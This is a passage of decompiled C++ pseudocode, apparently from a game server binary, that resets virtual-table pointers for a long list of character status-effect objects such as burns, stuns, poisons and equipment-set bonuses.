*)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_MOBBRN01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_STA_MOBBRN01.astr_Tick); v1->asl_STA_MOBBRN01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_MOBMTS01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_MOBBLD01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_STA_MOBBLD01.astr_Tick); v1->asl_STA_MOBBLD01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_SHAMECRIUP05.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_SHAMECRIUP04.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_SHAMECRIUP03.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_SHAMECRIUP02.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_MENDOWNRATE05.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_MENDOWNRATE04.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_MENDOWNRATE03.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_MENDOWNRATE02.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_MAGICDANCEUSESPDOWN05.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_MAGICDANCEUSESPDOWN04.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_MAGICDANCEUSESPDOWN03.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_MAGICDANCEUSESPDOWN02.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_SHAMECRIUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_MENDOWNRATE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_DEEPFEARSPDOWNRATE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_STA_DEEPFEARSPDOWNRATE.astr_Tick); v1->asl_STA_DEEPFEARSPDOWNRATE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_MAGICDANCEUSESPDOWN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_METEOR.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_CROSSDROP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_BOMBSHOT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_GROUNDSTRIKE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_BURNPAINFOE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_STA_BURNPAINFOE.astr_Tick); v1->asl_STA_BURNPAINFOE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_BURNPAINME.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_STA_BURNPAINME.astr_Tick); v1->asl_STA_BURNPAINME.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_BH_HELGA_IDLE01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_BH_HELGADRT01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_BH_HELGAAPU01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_BH_KARATEMPLER_NONE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_HELGBALL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_BH_HELGA_NONE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_MOBAPU01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_MOBSLC01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_MOBMSD02.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_MOBOPU01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_MOBPSN01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_STA_MOBPSN01.astr_Tick); v1->asl_STA_MOBPSN01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_MOBSTN01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_GBGAMEMEMBERFULL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_ENTRAPPLS.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_ENTRAPBLD.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_STA_ENTRAPBLD.astr_Tick); v1->asl_STA_ENTRAPBLD.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_ENTRAPMSD.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_ENTRAPBLN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_WOLFCLAWTBUPRATE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_VACANT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_DODGEMAIN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_KQSKELKNIGHTBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_STA_KQSKELKNIGHTBLOODING.astr_Tick); v1->asl_STA_KQSKELKNIGHTBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_MOBSTUNTYPE01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_MOBBURNTYPE01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_STA_MOBBURNTYPE01.astr_Tick); v1->asl_STA_MOBBURNTYPE01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_HIDESTUN01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_MULTIBLOOD.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_STA_MULTIBLOOD.astr_Tick); v1->asl_STA_MULTIBLOOD.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_SETJ4WCUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_SETJ4CRLUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_SETJ4ATKSPPEUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_SETJ4ACDOWN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_SETJ3SPUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_SETJ2HPUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_SETJ2WCUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_SETC4MAUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_SETC4ACDOWN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_SETC4ACUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_SETC4ATKDOWN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_SETC4WCUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_SETC4MRUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_SETC3MRUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_SETC2MAUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_SETC2WCUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_SETM4MRUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_SETM4SPUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_SETM4MRDOWN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_SETM4MAUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_SETM3SPUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_SETM2MRUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_SETM2MAUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_SETA4ATKSPEEDU.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_SETA4SPEEDDOWN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_SETA4SPEEDUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_SETA2WCUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_SETF4ACUPRATE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_SETF4WCUPRATE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_SETF4ACUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_SETF4ACDOWN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_SETF4HPUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_SETF2ACUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_SETF2WCUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HUMARACDOWNRATE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CRACKERACUPRATE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CRACKERWCUPRATE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CRACKERCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_CRACKERCURSE.astr_Tick); v1->asl_CRACKERCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CRACKERDISEASE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CRACKERWCDOWN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CRACKERACDOWN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ENMOVEDOWNRATE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ENBINDINGRATE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ENKNOCKBACKRATE.baseclass_0.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ENADDDMGRATE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_ENADDDMGRATE.astr_Tick); v1->asl_ENADDDMGRATE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ENWCRATE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ENATKSPEED.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ENMAUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ENWCUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIKNOCKBACKROLL.baseclass_0.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIMOBSUICIDE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIVIRUSMOVE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_GTIVIRUSMOVE.astr_Tick); v1->asl_GTIVIRUSMOVE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIVIRUSRT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_GTIVIRUSRT.astr_Tick); v1->asl_GTIVIRUSRT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIVIRUSMOVEMAIN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_GTIVIRUSMOVEMAIN.astr_Tick); v1->asl_GTIVIRUSMOVEMAIN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIVIRUSRTMAIN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_GTIVIRUSRTMAIN.astr_Tick); v1->asl_GTIVIRUSRTMAIN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIREVERSEORDER.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIBOMBDIE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIBOMB2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_GTIBOMB2.astr_Tick); v1->asl_GTIBOMB2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIBOMB1.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_GTIBOMB1.astr_Tick); v1->asl_GTIBOMB1.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIBINDING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_GTIBINDING.astr_Tick); v1->asl_GTIBINDING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTISCAN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_GTISCAN.astr_Tick); v1->asl_GTISCAN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIHIDE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIMETASLIME.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTICONFUSION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIBLIND.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIREFLECT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIRESISTALL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTISPEED.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIRATEPOINT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MONKEYDEFENSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MONKEYSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STAMRBLUEDRAGON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STACCREDDRAGON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_TIMEATTACKMINI.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_TIMEATTACK.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SPIRIT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_PARALYSIS.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ANGRY.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_EVENTMRUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_EVENTACUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_EVENTSPEED.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_EVENTALLSTATSUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_EVENTSPUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_EVENTHPUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CHRTITLE_BLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_CHRTITLE_BLOODING.astr_Tick); v1->asl_CHRTITLE_BLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CHRTITLE_CRITICAL_UP_RATE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl 